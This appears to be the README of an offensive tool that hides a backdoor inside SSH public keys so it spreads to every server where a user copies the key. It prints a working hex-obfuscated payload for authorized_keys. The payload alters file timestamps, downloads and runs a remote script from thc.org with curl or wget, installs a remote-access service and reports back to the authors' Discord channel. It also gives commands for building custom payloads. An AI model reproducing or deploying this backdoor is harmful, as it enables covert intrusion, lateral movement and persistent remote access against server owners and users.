This program generates a backdoor to hide inside an SSH public key (e.g. id_rsa.pub or authorized_keys). The backdoor will execute once when the user next logs in.
The objective is to use the ssh public key to move laterally within a target network. It exploits the fact that users copy their public ssh key to other servers without checking the content. Any server where their public key is copied will automatically get backdoored.
See https://blog.thc.org/infecting-ssh-public-keys-with-backdoors for details
Simply add the following backdoor-string to the beginning of the public key (id_rsa.pub or authorized_keys; up until, but not including, the ssh-ed255191 AAA...)
no-user-rc,no-X11-forwarding,command="`###---POWERSHELL---`;eval $(echo 5b5b20242873746174202d632559202f62696e2f73682920213d20242873746174202d632559202e73736829205d5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223b62617368202d63202224286375726c202d6673534c207468632e6f72672f737368782922207c7c2062617368202d632022242877676574202d2d6e6f2d766572626f7365202d4f2d207468632e6f72672f737368782922207c7c206578697420303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6e20245353485f4f524947494e414c5f434f4d4d414e44205d5d202626206578656320245353485f4f524947494e414c5f434f4d4d414e443b5b5b202d7a20245348454c4c205d5d202626205348454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d20262620636174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d20262620636174202f6574632f6d6f74643b65786563202d61202d2428626173656e616d6520245348454c4c2920245348454c4c3b0a|xxd -r -ps);" ssh-ed25519 AAAAC3Nzblah....
This DEMO backdoor-string installs https://www.gsocket.io/deploy and reports the success back to our Discord channel.
Think of the ssh public key as a sort of ~/.bashrc but with your backdoor inside, that gets propagaded by the user to various servers, and when triggered sends a secret login code back to us.
Create your own backdoor-string by editing ssh-key-backdoor.sh (between ---BEGIN BACKDOOR--- and ---END BACKDOOR---) and execute:
# Set your own discord key or the results will be reported to our Discord channel. Please.
$ export KEY="1246565073951234567/mEDRabcdefghijklnopqrstuvwxzyABCDEahagasdKr7YQmA0Ej1-Ibdaytta_XGGq-n"
$ ./ssh-key-backdoor.sh
# Or view the clear commands without hex-encoding
$ ./ssh-key-backdoor.sh clear(The same command=-trick can be used to trigger a canary or start other hidden services.)
This goes deep down the Bash rabbit hole...the curious reader may like to read our blog.